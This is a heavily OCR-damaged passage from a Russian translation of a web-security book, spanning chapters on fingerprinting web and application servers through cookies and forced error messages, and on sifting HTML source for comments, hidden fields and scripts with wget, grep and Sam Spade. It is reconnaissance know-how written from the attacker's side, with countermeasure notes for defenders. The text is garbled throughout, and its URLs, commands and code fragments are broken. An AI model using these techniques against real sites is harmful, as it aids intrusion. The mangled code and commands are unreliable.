19:19:58 GMT Content Length: 156 Часть II. Секреты URL
Content Type: text/html Set Cookie: path=/ private При внимательном изучении HTTP заголовка можно заметить признаки, ука на некорректность исходного предположения об использовании серве ра Apache и языка программирования Perl. Действительно, поле co okie, возвра щаемое данным сервером, указывает на сеанс Active Server Pages с именем ASPSESSIONIDGGQGGCVC и значением Сервер Apache никогда не возвращает такое значение cookie. Из этого следует, что использование сервера IIS было скрыто простым изменением значения поля Server на и преобразо ванием расширения в .cgi. Таким образом, поле cookie представляет собой дополнительное средство для идентификации Web сервера и сервера приложения! URL адрес: Этот URL адрес является слишком общим для идентификации сервера Java приложения, поэтому снова прибегнем к помощи пс 80 GET / HTTP/1.0 HTTP/1.1 200 OK Server: Netscape SP2 Date: 04 Feb 2001 19:26:16 GMT Pragma: nocacbe Content Type: text/html Expires: 0 Set Cookie: WebLogicSes 002/7002/7001/ 1; Connection: close И в этом случае помогут данные cookie. Строка указывает на ис пользование сервера WebLogic, который взаимодействует с сервером Netscape Enterprise. Структура данных сеанса cookie сервера WebLogic аналогична структуре идентификатора сеанса WebLogic, который рассматривался в предыдущих примерах. В приведенной ниже таблице указаны известные типы данных cookie и соответст вующие им серверы. Сервер Cookie Apache IIS ATG Dynamo ColdFusion CFID=573208, Что касается примеров с адресами и то по HTTP заголовку об используемом сервере нельзя сказать ничего. Поэтому необходи мо изыскивать другие средства "давления" на серверы приложений, чтобы заставить их "раскрыться". Глава 6. За кулисами 157
Дополнительные методы идентификации Если HTTP заголовка, расширения файла, вида URL адреса или данных cookie для идентификации технологии Web сервера недостаточно, остается еще один способ: не обходимо заставить приложение сгенерировать ошибку. При этом сообщение об ошибке может содержать не только информацию о сервере, но и о преобразовании физических адресов, ссылки на файлы и каталоги и даже SQL запросы. Чтобы вынудить приложение выдать сообщение об ошибке, необходимо использо вать один следующих методов: • усечение URL адресов; • запрос на несуществующий файл; • изменение параметров запроса. В двух приведенных далее примерах постараемся выяснить, каким образом можно использовать сообщения об ошибках для определения типа сервера приложения. Примеры http://www8.example.com/webapp/wcs/stores/servlet/Displa Вместо полного URL адреса передадим усеченный: wcs/stor e s/. Выдаваемое сообщение об ошибке показано на рис. 6.9. Из него можно извлечь информацию о сервере, который используется по адресу Это WebSphere от компании IBM. URL адрес: В этом случае внешним сервером является Apache. Разные сочетания усечений URL адресов не приводят к желаемому результату. В окне броузера выводится лишь строка ошибки 404 File not found, которая ни о чем не говорит. Такая ошибка появ ляется в тех случаях, когда внешний Web сервер не может найти указанный путь. Следовательно, необходимо передать такой чтобы ошибка была сгенери рована сервером приложения, а не самим внешним Web сервером. Давайте вспомним способы взаимодействия сервера приложений с внешним сер вером, которые были рассмотрены в данной главе. Анализируя предложенный при мер, приходим к выводу о том, что внешний Web сервер используется для преобразо вания URL адресов и перенаправления файлов с расширением . jsp для их последую щей обработки. Другими словами, если передать запрос на несуществующий 158 II. URL
скажем х. jsp, то можно обойти внешний Web сервер, поскольку все файлы . jsp обра батываются сервером приложений. Получив такой запрос, сервер приложения вьщаст сообщение об ошибке (рис. 6.10). found: Stack File not found: at at at at engine at Code» at Code» at at V 6.9. Сообщение об ошибке, выдаваемое в примере с адресом mw8.example.com Request jsp (No such ±11 tt provider 1 > at Puc. 6.10. Сообщение об ошибке, выдаваемое в примере с адресом Глава 6. За кулисами Web сервера 159
Как видите, этот прием сработал! Теперь у нас есть сообщение, сгенерированное сервером баз данных Oracle, взаимодействующим с сервером Apache. Это сообщение также содержит путь к каталогу где находятся Идентификация серверов баз данных Идентификация баз данных требует более серьезных навыков, нежели идентифи кация внешних серверов и серверов приложений, поскольку последние взаимодейст вуют через протокол HTTP и определяются посредством его элементов: URL адресов, HTTP заголовков и данных cookie. С серверами баз данных все обстоит иначе. Дело в том, они взаимодействуют с внутренними серверами с помощью языка SQL и позволяют определить лишь зна чения полей входных форм и параметры URL. Поэтому единственный способ иден тификации серверов баз данных посредством URL заключается в генерировании ошибок сервером приложения и последующем их выводе в окно броузера. Рассмотрим два примера URL адресов. • • В первом URL адресе указан PHP файл который, как свидетельствует параметр ID=27, взаимодействует с базой данных. Второй же адрес обрабатывается приложением ColdFusion и также выполняет запрос к базе данных. Для того чтобы заставить сервер баз данных выдать ошибку, необходимо изменить значения параметров в рассмотренных запросах. В первом URL адресе заменим зна чение 27 параметра ID нечисловым значением. Второй URL адрес предварительно усечем, а затем заменим значение 3 символом одинарной кавычки Предоставим читателю самому разобраться с тем, какой вред может принести ин формация, содержащаяся в этих окнах броузеров. Подсказка: сообщение об ошибке, выдаваемое сервером ColdFusion SQL Server, содержит достаточно информации для формирования запроса, который будет удаленно выполнять команды на сервере баз данных с правами администратора. Контрмеры В этой главе были представлены методы, которые обычно используются взломщи ками для получения полной информации о Web приложении. Идентификация ис пользуемых технологий играет важную роль для в Web, поскольку позволяет подобрать подходящие средства для взлома Web приложения. Возможно, остановить хакера будет не так уж легко. Однако при этом всегда не обходимо следовать двум эмпирическим правилам, в основе которых лежит прин цип минимального уровня привилегий. Правило Минимизация информации в HTTP заголовке Большинство Web серверов настроены таким образом, что возвращают минимум информации в HTTP заголовке. При этом в HTTP заголовке не должна содержаться информация о серверах приложения, которые используются как надстройки. 160 Часть II. Секреты URL
Правило 2. Предотвращение отправки броузеру сообщений об ошибке Когда Web приложение переходит из стадии разработки в стадию коммерческого использования, необходимо тщательно проверить обработку исключений и выдавае мые сообщения. Подробные сообщения об ошибке следует хранить во внутреннем системном журнале на Web сервере. необходимо отправлять только краткую информацию об ошибке. И опять же, большинство Web серверов допускают подобную конфигурацию. Многие клиенты утверждают, что их удовлетворяет уровень зашиты приложений, который обеспечивается заменой идентификатора сервера в HTTP заголовке и изме нением расширений используемых файлов. Они полагают, что таким образом смогут сбить с толку взломщиков и предотвратить атаку. Однако такая защита путем "сокрытия" ненадежна. В лучшем случае она защитит от таких утилит поиска изъянов Web приложений, как Whisker. Но она не остановит опытных Web хакеров. Резюме Понимание того, каким образом взаимодействуют между собой различные Web технологии, очень важно при разработке и внедрении Web приложений. В этой главе были продемонстрированы методы, которыми пользуются взломщики для получения информации о том, что находится "за кулисами" внешнего сервера. Кроме того, здесь кратко упоминались некоторые основные контрмеры, которыми следует руководство ваться при создании Web приложений. Глава 6. За кулисами 161
ГЛАВА 7 Читая между строк Конечные понятия позволяют осознать бесконечность. Теодор американский поэт
Введение То, что отображается в броузере, не обязательно существует на самом деле. Когда вы смотрите на Web страницу, то видите только интерпретацию броузера и его пред ставление полученных данных. Большая часть информации скрыта от просмотра. Для обнаружения этих невидимых сокровищ необходимо оторваться от обычного про смотра страниц и приблизиться к подлинному пониманию практически неограничен ных возможностей Web технологий. Код обычной Web страницы может содержать HTML комментарии, исходный код клиентских сценариев, ключевые слова, скрытые параметры форм, адреса электрон ной почты, ссылки на другие страницы и узлы, а также многое другое. Количество информации на странице оказывает существенное влияние на безопасность: чем больше информации известно хакеру о Web узле, тем проще его атаковать. В этой главе рассматриваются различные типы информации, которую можно по лучить из исходного кода HTML, а также приемы, используемые для ее извлечения. Просмотр исходного кода HTML и поиск в нем ценной информации --- кропотливая задача. В коде можно обнаружить лишь интересных фрагментов, однако зачастую именно они оказываются недостающими элементами общей картины, фор мирование которой так необходимо для успешной реализации Web атаки. Кроме того, здесь подробно описывается процесс просеивания исходного кода (source sifting), а так же способы поиска ценной информации. В этой главе рассматриваются следующие важные вопросы: • утечка информации через код HTML; • броузеры и просмотр кода HTML; • предмет поиска; • автоматизированные приемы просеивания исходного кода. Многие путают просеивание исходного кода (ресурсов) с его получением (раскры тием). Атаки, направленные на раскрытие исходного кода, связаны с обманом Web сервера и получением от него исходного кода сценария или приложения без какого либо его анализа или выполнения. Например, если такая атака направлена на файл ASP, то взломщик может просмотреть соответствующий ASP код (т.е. код, содержа щийся в исходном сценарии) в неизмененном виде. При этом никакого просеивания исходного кода не выполняется. Однако в том случае, если код HTML генерируется в приложении динамически с использованием сценария, то при выборе в броузере команды View Source исходный код приложения или сценария не отображается. Вме сто этого можно увидеть лишь код HTML, который был сгенерирован сценарием. Утечка информации через код HTML Это очень сложный вопрос. Никогда нельзя точно сказать, представляет ли угрозу какая либо определенная информация, содержащаяся в HTML коде. Взломщик все гда стремится сформировать для себя полную картину, поскольку не может опреде лить, какая часть информации отсутствует, вплоть до того момента, пока практически полностью не соберет всю головоломку. Информация, получаемая с помощью про сеивания исходного кода, может казаться неважной до тех пор, пока другие состав ляющие общей картины не займут свои места. Атака на узел acme art.com, которая об суждалась в разделе "Случай из жизни" в начале данной части, оказалась успешной Глава 7. Читая между строк
только благодаря тому, что хакеру удалось получить всю необходимую информацию из комментариев HTML и скрытых полей форм. В этой главе обсуждаются стандартные источники утечки информации и меры, ко торые позволяют предотвратить связанную с этим опасность. Прежде чем приступить к изучению методов сбора ценной информации, давайте рассмотрим, как использо вать необходимые для выполнения этих задач средства. В большинстве случаев основ ным таким инструментом является броузер. Что скрывают броузеры Броузер преобразует HTML код в визуальные интерактивные элементы, предна значенные для отображения информации на экране и взаимодействия с пользовате лем. Самой важной частью каждого броузера является механизм интерпретации ко да HTML. Как и для любого другого компьютерного языка, для HTML определена формальная грамматика описания элементов и правила их визуализации. Встроен ный в броузер HTML интерпретатор выделяет из кода HTML отдельные элементы и отображает их на экране. Однако не все элементы HTML имеют визуальное пред ставление. Некоторые из например комментарии, предназначены для докумен тирования и повышения ясности кода. Другие элементы используются при выпол нении внутренних операций, например при передаче параметров между формами или работе с данными cookie. Для более серьезного знакомства с элементами HTML обращайтесь к спецификации HTML 4.0, которую можно найти по адресу: ht t p :// Различные элементы HTML позволяют получить разнообразнейшую информа цию. И этого нельзя не учитывать. Популярные Web броузеры, такие, как Netscape Navigator, Internet Explorer и Opera, позволяют просматривать исходный код HTML. На рис. показана Web страница, на которой содержатся различные элементы. На этой странице можно увидеть лишь некоторые элементы HTML и форму, со стоящую из одного текстового поля. Попробуем найти элементы, не отображенные броузером. Netscape Navigator --- команда Source Для просмотра исходного HTML кода страницы, отображаемой в Netscape Navigator, выберите команду Source, нажмите комбинацию клавиш <CTRL+U> или щелкните на странице правой кнопкой мыши, а затем выберите из контекстного ме ню команду View Source или View Frame Source, в зависимости от того, в какой облас ти страницы был выполнен щелчок. В результате откроется другое окно с исходным HTML кодом страницы (рис. 7.2). Вот и все! В исходном коде можно сразу же заметить элементы, которые не бы ли отображены в окне броузера. Первым таким элементом является HTML коментарий, в котором указано время последней модификации Web страницы и ад рес электронной почты ее разработчика. Ниже можно заметить также дескрипторы <МЕТА>, в которых кратко описывается содержимое страницы. Продолжая анализ ис ходного кода, можно легко найти небольшую процедуру на языке JavaScript, пред назначенную для генерации данных cookie при каждом посещении этой страницы. И наконец, в исходном коде содержится скрытое поле HTML формы, для которого задано значение cant see me. Без просмотра исходного кода HTML вся эта инфор мация осталась бы неизвестной. 164 Часть II. Секреты
What you see... is not what srts a Элементы HTML, отображенные броузером Internet Explorer --- команда В Internet Explorer (IE) исходный HTML код можно просмотреть с помощью ко манды или с использованием команды View Source контекстного меню. 7.2. Исходный код HTML в Netscape Глава 7. Читая между строк 165
Броузер IE копирует исходный код HTML во временный файл и открывает его в блокноте Windows, а не в своем собственном окне. На рис. 7.3 показан тот же исход ный код, загруженный IE в блокнот. Это очень удобно для сохранения исходного ко да в виде обычного текста для дальнейшего анализа. Другие броузеры, в том числе Opera, также позволяют отобразить исходный HTML код текущей страницы. Именно с его просмотра стоит начинать анализ Web приложений для обеспечения требуемой защиты. Где искать информацию Теперь, после рассмотрения методов сбора информации, нужно определить, какие ее фрагменты наиболее ценны для хакера. Обычно взломщик просматривает следую щие элементы: • комментарии HTML; • внутренние и внешние ссылки; • адреса электронной почты и имена пользователей; • ключевые слова и дескрипторы • скрытые поля; • клиентские сценарии. Комментарии HTML Комментарий HTML определяется как блок текста, размещенный между дескрип торами и >. При отображении страницы весь этот блок текста броузером игно рируется. Таким образом, комментарии --- это "забытая" часть исходного кода, кото рую можно увидеть при выборе в броузере команды View Source. Разработчики и авторы Web страниц используют комментарии для размещения в HTML коде информации о себе и аннотаций. Практически каждый программист убежден, что добавлять комментарии в исходный код крайне важно. Традиционно при создании исполняемого двоичного кода программы коммента рии автоматически убираются компилятором. Следовательно, комментарии никогда не были причиной утечки секретной информации, а также не способствовали ее рас крытию. При использовании HTML комментарии передаются Web броузеру. Что взломщик может почерпнуть из комментариев HTML? Как правило, в них можно найти следующее: • историю внесения изменений; • подробности о разработчике или авторе; • описание связей с другими частями Web приложения; • заметки; • комментарии, автоматически вставляемые Web приложениями; • старый закомментированный код. Вполне закономерен вопрос: "Что из перечисленного можно действительно найти на реальных узлах?" В поисках ответа на него можно выполнить самостоятельное ис следование. Приведенные в этой книге примеры несколько изменены для обеспече ния безопасности Web узлов и Web серверов, с которых они были получены. 166 Часть II. Секреты URL
An of the that you Last by: - 9th 2002 you not browser <SCRIPT var date • new - date . (); </SCRIPT> a TYPE HIDDEN see Рис. 7.З. Исходный код, предоставляемый броузером Internet Explorer при выборе команды View Source История внесения изменений При внесении изменений разработчики Web приложений часто оставляют в ис ходном коде подробную информацию обо всех модификациях. Историю модифика ции этих файлов разработчики склонны размещать в статических HTML файлах, особенно если в их состав входит главная Web страница и другие точки входа в приложения. Подробности о разработчике или авторе Зачастую разработчики или авторы Web страниц оставляют подробные данные о себе в комментариях HTML. Это является общепринятой практикой, если над одним ресурсом или файлом работают разные разработчики. Вот типичный пример комментария разработчика, содержащегося в коде HTML: Смитом 6 марта 13:13:25 <BASE Связь с другими частями Web приложений В состав большинства Web приложений входит много отдельных файлов и сцена риев, связанных с другом. В большинстве случаев в HTML комментариях содер жится информация о взаимосвязи этих файлов и подробные данные о функциональ ности приложений, например: Вызывается Глава 7. Читая между строк 167
Заметки В комментариях HTML разработчики размещают описание некоторых важных аспектов использования, архитектуры и т.д., имеющее отношение к определенному ресурсу. Данные такого рода чрезвычайно полезны при сборе информации о функ циональности приложения. Некоторые заметки могут быть довольно безобидными, например: Таблица главного начало <table в этой строке задаются расстояния между <tr><td блок <td блох Однако в других комментариях может содержаться конфиденциальная информация. перед внесением Убедитесь, что обновлен файл <! > ВСТАВЬТЕ <TABLE Этим сказано все! Просмотрев такой код, взломщик может сразу же переключиться в окно броузера, сгенерировать запрос по адресу cart.conf и попробовать получить конфигурационный файл электронной торговой тележки. Вот еще один пример утечки данных из комментария: кода заголовка <table cellspacing=0 cellpadding=0 border=0> <tr> <td width=225>&nbsp;</td> <B><FONT Оставить 25t на проживание. <! </td> </tr> </table> apt tab Комментарии серверов Web приложений Некоторые серверы Web приложений и средства создания Web документов встав ляют в генерируемый HTML код собственные комментарии. Эти комментарии также могут предоставлять конфиденциальную информацию. При их внимательном анализе можно определить, какие технологии используются на сервере и с помощью каких средств была создана Web страница. Ниже приведен пример такого комментария. ImageReady Preload Script > <! Vignette StoryServer 4 Sun Jan 13 00:04:01 > Resolution File Lotus Domino (Release 5.0.9 16, 2001 on 168 Часть II. Секреты URL
Эти компоненты были сгенерированы приложениями Adobe ImageReady, Vignette Story Server, Ncompass (сейчас Microsoft Content Management Server) и Lotus Domino Server соответственно. Старый закомментированный код Поскольку Web страницы часто подвергаются изменениям, разработчики склонны создавать копию кода HTML, комментировать старый код и добавлять новые фраг менты кода с сохранением старого формата. Зачастую в закомментированной части остается некоторая важная информация, например: <! <Р><А Host icons database </A> Эта требуется для запуска приложения X. Это версия базы <А Если вы хотите добавить свою отошлите ее администраторам picons для внесения в следующую версию X. Обратите внимание, что автор приведенного фрагмента кода фактически сообщил о существовании на сервере пользовательской учетной записи xy z zy . При краже кредитной карточки на узле ww w. a c me art. com хакер получил доступ к пользовательским рабочим каталогам и c o m/~ ajq/ и завладел исходным кодом используемых на Web узле Как было продемонстрировано в предыдущем фрагменте, при утечке информации возможен именно такой исход. Внутренние и внешние гиперссылки Просмотр содержащихся в исходном HTML коде гиперссылок на другие Web ресурсы --- еще одна многообещающая область, из которой можно почерпнуть ценную информацию. Изучение ссылок позволяет определить, Из каких частей состоят при ложения. После проведения подобного анализа можно выделить отдельные части приложения, сгруппировать их по функциональным категориям и попробовать разо браться с внутренними потоками информации. Достаточно найти лишь единственную ссылку, и представление об информационных потоках, циркулирующих между раз личными частями приложения, становится гораздо понятнее. Вся подобная информа ция позволит выявить потенциальные уязвимые места. В языке HTML гиперссылки задаются с использованием дескрипторов Гиперссылки могут связывать между собой ресурсы одного и того же Web узла или обеспечивать связь с внешними Web узлами. Гиперссылки можно найти также в дескрипторе Дескриптор позволяет задать ре сурс, который будет запущен при передаче на сервер данных HTML формы. Для поиска гиперссылок проще всего выполнить поиск в коде HTML строк HREF или FORM. При просмотре гиперссылок нужно различать внутренние и внешние связи. Это не позволит выйти за границы исследуемого приложения. Приведенный ниже фрагмент HTML кода взят из интерактивного приложения розничной торговли, используемого на Web узле www.acmetradeonline.com . <А Щелкните здесь для входа в торговую систему </А> <Р> Новый пользователь? Щелкните <А для создания новой учет ной записи. Глава 7. Читая между строк
TYPE=TEXT SIZE=5> Первые две гиперссылки <А jsp> и <А jsp> являются внутренними. Они преобразуются к виду http://www.acme art.com/login/ и соответственно. Третья гипер ссылка, которая используется при передаче данных формы, --- это внешняя ссылка, указывающая на Web узел http://quote s . a c m e stock quotes.co m/cgi bin/stockquote .pl. Адреса электронной почты и имена пользователей Довольно часто страницы HTML содержат ссылки на адреса электронной почты. Дескриптор <А применяется для создания ссылки, исполь зуемой при отправке почтового сообщения. Обычно при щелчке на такой ссылке от крывается окно клиентской почтовой программы, в котором можно создать почтовое сообщение, а затем отправить его получателю, заданному с использованием гипер ссылки mailto. Электронные почтовые адреса могут быть также частью HTML комментариев и использоваться для идентификации человека, ответственного за поддержку опреде ленной страницы или ее части. Электронные адреса извлечь из кода HTML очень просто: для этого в нем достаточно найти все символы Спэм Масса ненужных электронных писем, невостребованная коммерческая реклама, "макулатурная" почта или спэм (spam) --- как бы это не называлось --- приводит к за грузке каналов связи и крайне раздражает пользователей Internet. Бывают дни, когда количество ненужных сообщений, поступивших в компанию Foundstone, равно числу сообщений от легитимных пользователей. Совсем недавно подобная деятельность была прибыльным делом для некоторых компаний, занимающихся поддержкой серверов массовой рассылки рекламных объ явлений мелких предпринимателей. На рынке появились компакт диски с миллиона ми собранных вместе и отсортированных электронных адресов. Такие списки адресов и каталогов формируются с использованием Web приложений --- программ, специ ально разработанных для сбора электронных адресов на Web страницах. Работа таких программ основана на принципе, который уже рассматривался выше. Он заключается в загрузке исходного кода страницы и извлечении из него адресов на основе поиска символа После этого программы по гиперссылке перемещаются на другую Web страницу и повторяют тот же процесс с самого начала. Ключевые слова и дескрипторы <meta> HTML коде Web страницы содержится два раздела --- заголовок и тело. В теле содержится информация, которая отображается броузером, а в заголовке --- ее описа ние. Такую информацию, как название документа, краткое описание его содержания, 170 Часть II. Секреты URL
имя автора, дата создания и т.д., можно найти внутри заголовка документа HTML в дескрипторе <meta>. Хорошим примером информации, размещаемой в дескрипторах <meta>, может по служить следующий фрагмент кода HTML, взятый с Web узла компании CNN: <html> 10 лучших средств контроля 21 сентября, 1998</title> charset=iso 8859 l"> these tools for ridding your of <meta unsolicited e mail, commercial e mail, junk e mail, <meta <meta 21, <meta </head> В этом фрагменте кода не содержится никакой важной информации. Однако деск рипторы представляют собой одно из. мест, в которых можно допустить ошибку. Скрытые поля Скрытые поля уже кратко рассматривались в главе 3 при обсуждении HTML форм. Для создания скрытых полей используется дескриптор TYPE=HIDDEN Зачастую такие поля используются разработчиками для обмена информацией между формами и серверными программами, которые обра батывают пользовательские данные. Поскольку протокол HTTP не поддерживает со стояния, скрытые поля упрощают отслеживание перемещений пользователя внутри приложения. Некоторые разработчики допускают ошибку, передавая конфигурационные пара метры приложения тем модулям, в которых используются скрытые поля. При атаке на узел acme art.com хакеру удалось извлечь конфигурационный файл электронной торго вой тележки, просмотрев скрытое поле HTML формы. Воспользовавшись следующей строкой, взломщик сможет получить конфигурационный файл cart.ini, а со време нем и список авторизованных кредитных карточек, в файле <INPUT TYPE=HIDDEN Однако подобные ошибки приводят не только к утечке информации. Они также позволяют хакеру изменять содержащиеся в скрытых полях данные, сохраняя локаль ную копию HTML кода, их, а затем передавать обратно на сервер. Скрытые поля будут еще раз обсуждаться при рассмотрении процесса атаки (глава 13) и воровства в электронных магазинах (глава 10). А сейчас самое время по знакомиться с тем, как скрытые поля можно найти в коде HTML. С помощью поиска строки можно выполнить инвентаризацию всех скрытых полей, содержа щихся в коде HTML страницы. Полное уяснение функционального назначения каж дого скрытого поля в приложении позволит предотвратить утечку информации и воз можность подделки содержащихся в них значений. Глава 7. Читая между строк 171
Клиентские сценарии Когда компания Netscape впервые анонсировала язык клиентских сценариев JavaS cript, это вызвало настоящую сенсацию. С этого момента отображаемое в броузере со держимое HTML перестало быть статическим, поскольку появилась возможность управлять им с использованием программ, интерпретируемых самим броузером. Ав томатическое обновление рисунков, выполнение вычислений на основе значений по лей ввода без передачи на сервер и управление данными cookie --- все это можно осуществить с помощью клиентского сценария. Сегодня существует два языка кли ентских сценариев: JavaScript и VBScript. Сценарии JavaScript можно использовать в броузере компаний Netscape и Microsoft, однако сценарии на языке VBScript могут интерпретироваться только броузером Internet Explorer. Достаточно мощные возможности клиентских сценариев позволяют переместить большую часть логики приложения в его клиентскую часть. При этом сервер освобо ждается от решения задач, которые гораздо удобнее выполнять в броузере. Клиентский сценарий можно вставить в код HTML с использованием дескрипто ров Вот пример кода JavaScript, отображающего на экране диа логовое окно с сообщением "Здравствуй, мир": <SCRIPT document </SCRIPT> В файле example.html (см. рис. 7.1) содержится следующий код JavaScript: <SCRIPT var date = new + "; </SCRIPT> Приведенный сценарий JavaScript размещает на клиентском компьютере данные cookie. Можно изменить любые клиентские сценарии или полностью обойти их. По скольку код для выполнения передается броузеру, можно сохранить копию кода, вне сти в нее изменения, а затем загрузить модифицированную страницу снова в броузер. Большинство броузеров также позволяют полностью отключить режим выполнения клиентских сценариев. Разработчики должны соблюдать осторожность, не полагаясь на проверку данных в клиентском сценарии при передаче данных HTML формы. Не которые разработчики для Web возлагают проверку входных данных, метасимволов, длины буфера и другие задачи на броузер. Однако это совершенно бесполезно, по скольку клиентский сценарий можно обойти без особых проблем. Приемы автоматического просеивания кода Процесс просмотра большого количества страниц HTML кода и поиска в нем ценной информации может оказаться довольно монотонным и утомительным. К сча стью, далеко не всегда это нужно выполнять вручную, выбирая команду View Source для просмотра исходного кода каждой страницы. Процесс просеивания исходного ко да можно автоматизировать с помощью специальных Web приложений, предназна ченных для сохранения содержимого всего Web узла в локальной файловой системе. Как только все HTML содержимое сохранено на локальном жестком диске, в нем можно выполнять рекурсивный поиск информации с помощью таких утилит, как grep 172 Часть URL
или Для создания зеркальной копии Web узла можно воспользоваться утили той wget, разработанной в рамках лицензии GNU. Использование утилиты wget Утилита wget не относится к классу интерактивных средств получения инфор мации из сети. Ее работа основана на поступательном "продвижении" по Web узлу и сохранении его содержимого в локальной файловой системе без изменения используемой иерархической структуры. Утилиту wget можно найти на Web узле Вместо изучения документации, прилагаемой к утилите wget, гораздо полезнее рас смотреть пример ее практического использования при решении задачи автоматиче ского просеивания исходного кода. При изучении защищенности Web узла корпора ции Acme art.com, Inc. и исчерпывающем анализе возможностей утечки информации группа экспертов с использованием утилиты wget создала зеркальную копию HTML расположенного по адресу Ниже показано, как ис пользовалась эта утилита. wget r m nv 02:27:54 [3558] > 02:27:54 [1124] > [1] 02:27:54 [81279/81279] > [1] 02:27:54 [4312/4312] > "www.acme art.com/images/yf 02:27:54 [1183] > shtml" [1] 02:27:54 [36580/36580] > "www.acme art.com/images/tahoel.jpg" 02:27:54 jpg [6912/6912] > [1] 02:27:54 URL: [1160] > [1] 02:27:54 [81178/81178] > jpg" ] 02:27:54 [7891/7891] > "www.acme art.com/images/mn thumb.jpg" [1] 02:27:54 [1159] > [1] 02:27:55 [86436/86436] > "www.acme art.com/images/flower.jpg" 02:27:55 [8468/8468] > "www.acme art.com/images/fl thumb.jpg" [1] 02:27:55 [2999] > 02:27:55 [1031] > 02:27:55 [1282] > [1] 02:27:55 [1343] > [1] 02:27:55 [1302] > html"[1] 02:28:00 [446] > • Глава 7. Читая между строк 173
"www.acne art.com/catalogue/print.cgi" [1] [1274] > 02:28:00 [1281] > 02:28:00 URL: [1282] > [1] 02:28:00 Feb [1825] > [1] 02:28:00 [941] > 02:28:00 [1884] > "www.acme art.com/news/news.cgi/12 Apr [1] 02:28:01 [1940] > "www.acme art.com/news/news.cgi/14 [1] 02:28:01 > [1] 02:28:01 Dec_2001.html [1339] > FINISHED Downloaded: 343,279 bytes in 28 files Вначале утилита wget создает каталог а затем приступает к извле чению содержимого Web узла. По мере продвижения по Web узлу результирующий HTML код сохраняется в файлах. При необходимости создаются новые каталоги, что позволяет сохранить структуру всего узла. После завершения работы утилиты wget для просмотра дерева каталогов, содержащихся в каталоге и быстрого анализа структуры узла можно воспользоваться командой tree. tree ' --- catalogue --- --- --- cgi --- guestbook --- images --- --- --- --- --- --- ---th --- --- --- --- --- index.html --- , --- 174 Часть II. Секреты URL
12 Apr --- ---8Dec 6 directories, 28 files В каждом файле этих каталогов содержится HTML код, полученный из соответст вующих файлов или сценариев узла Теперь можно приступать к поиску важной информации в исходном коде HTML. Использование утилиты grep Быстрее всего полученный HTML код можно проанализировать с использованием утилиты grep, выполнив поиск по шаблону. Для решения той же задачи приверженцы системы Windows могут воспользоваться аналогичной утилитой findstr. В приведен ной ниже таблице показано, как использовать утилиту grep для анализа исходного ко да HTML и поиска в нем важной информации. Элементы Шаблон Комментарии HTML > Внешние/внутренние гиперссылки HREF, ACTION электронной почты § Ключевые слова/дескрипторы <МЕТА> <МЕТА Скрытые поля TYPE=HIDDEN Клиентские сценарии <SCRIPT Синтаксис использования утилиты grep r '<! ' * grep r i * grep r * grep r i * grep r i * grep r i * , Ниже приведен пример использования утилиты grep для анализа содержимого узла www.acme art.com. grep r i * TYPE=HIDDEN INIFILE TYPE=HIDDEN INIFILE TYPE=HIDDEN ACTION INIFILE TYPE=HIDDEN INIFILE index.cgi?page«f TYPE HIDDEN Обратите внимание, что имя файла отображается вместе со скрытым по лем Если бы подобная простая проверка наличия уязвимых мест на узле была выполнена в интерактивном режиме, то вполне возможно, что попытка взлома завершилась бы неудачно. Глава 7. Читая между строк 175
Sam Spade, Black Widow и Teleport Pro Утилиты и grep являются чрезвычайно средствами автоматизации процедуры просеивания исходного кода. Иногда для извлечения содержимого Web узлов и его последующего анализа могут оказаться полезными такие утилиты GNU, как Sam Spade, Black Widow и Teleport Pro. Главный недостаток wget заключается в том, что она не поддерживает несколько потоков. Black Widow (http://www.softbytelabs.com) и Tele port Pro --- это прекрасные многопоточные программы, кото рые можно использовать в операционной системе Windows. Однако эти утилиты не позволяют выполнять поиск в полученном коде HTML. Для выполнения этой задачи можно воспользоваться утилитой Windows indstr. Помимо извлечения исходного кода HTML, утилита Sam Spade от компании Blighty Design (http://www.samspade.org) позволяет выполнять в этом коде как поиск по шаблону, так и поиск заданных элементов, например электронных адресов. На рис. 7.4 показан пример использования этой утилиты. Рис. 7.4. Параметры настройки ути литы Sam Spade На рис. 7.5 показаны результаты работы утилиты Sam Spade: гиперссылки, адреса электронной почты и скрытые поля, полученные на Web узле http://www.acme art.com. 176 Часть II. Секреты URL
Server: Root URL: / registrations risglc form form fora Fetching Hidden <INPUT Hidden form Hidden form Hidden form form Fetching Hidden form Hidden fora form Fetching link: Internal link: http: link: http: jEmail: Internal done com done TYPE=HIDDEN done TYPE=HIDDEN ... done VALUE= "ADD"> TYPE=HIDDEN ... done done ... done 7.5. Использование утилиты Sam Spade для извлечения содержимого узла Резюме Фрагменты информации, которые на первый взгляд не должны вызывать никакого интереса, могут быть извлечены и использованы взломщиком в процессе атаки на Web приложение. Предотвращение утечки информации --- задача довольно сложная, особенно с учетом того, что на разработку Web приложения накладываются жесткие временные ограничения. Для защиты информации и предотвращения ее утечки не существует простого и быстрого пути. Остановить хакера можно лишь одним спосо бом: стать на его место и проанализировать Web приложение с его точки зрения. Хотя в этой главе вопросы просеивания исходного кода рассматривались не очень подроб некоторые из них будут еще раз затронуты при обсуждении краж в электронных магазинах и перехватов сеанса. Глава 7. Читая между строк 177
ГЛАВА 8 Анализ связей Он оставил имя пирата для других времен, связав его с единствен ной добродетелью и множеством Гордон Байрон
Введение Вспомните, что Web приложение состоит из различных в том числе Web сервера, сервера приложения и сервера баз данных. Для глубокого понимания рисков нарушения безопасности, присущих каждому из этих необходи мо проанализировать роль и функциональные возможности каждого из них. В этой главе рассматриваются методы идентификации и классификации всех ресурсов и тех нологий, используемых в Web приложении. Web ресурсы --- это объекты, доступные броузерам через протокол HTTP или HTTP поверх SSL. Web ресурсом может быть статический автоматически генерирующая HTML код, или выполняемый в клиентской час ти приложения. Некоторые из этих ресурсов и основные принципы их использования рассматриваются в этой главе. Приведенный материал поможет разобраться в логике Web хакера, а также в том, как с его точки зрения выглядит Web приложение. Для понимания принципов в Web необходимо учитывать сильную концеп туальную связь между Web ресурсами и их назначением. Определенной Web странице или ресурсу всегда соответствует цель, для достижения которой они предназначены. Глубокое понимание цели и ее представление в терминах обеспечения безопасности позволяют снизить Web ресурса как на этапе его проектирования, так и в процессе реализации. Например, Web ресурс, предназначенный для размещения дан ных cookie на клиентском компьютере, и Web ресурс, предоставляющий клиенту форму для ввода данных и передачи запросов на сервер, преследуют разные цели. Первый ресурс предназначен для установки пользовательского сеанса при размеще нии данных cookie, а второй --- для получения данных от пользователя и формирова ния запроса к базе данных. Следовательно, первый ресурс связан с управлением сеан сами, а второй --- с интерфейсом базы данных. В результате системный аналитик мо жет классифицировать все ресурсы по их функциональному назначению. Процесс анализа набора Web ресурсов, определения взаимосвязей между каждым Web ресурсом и его 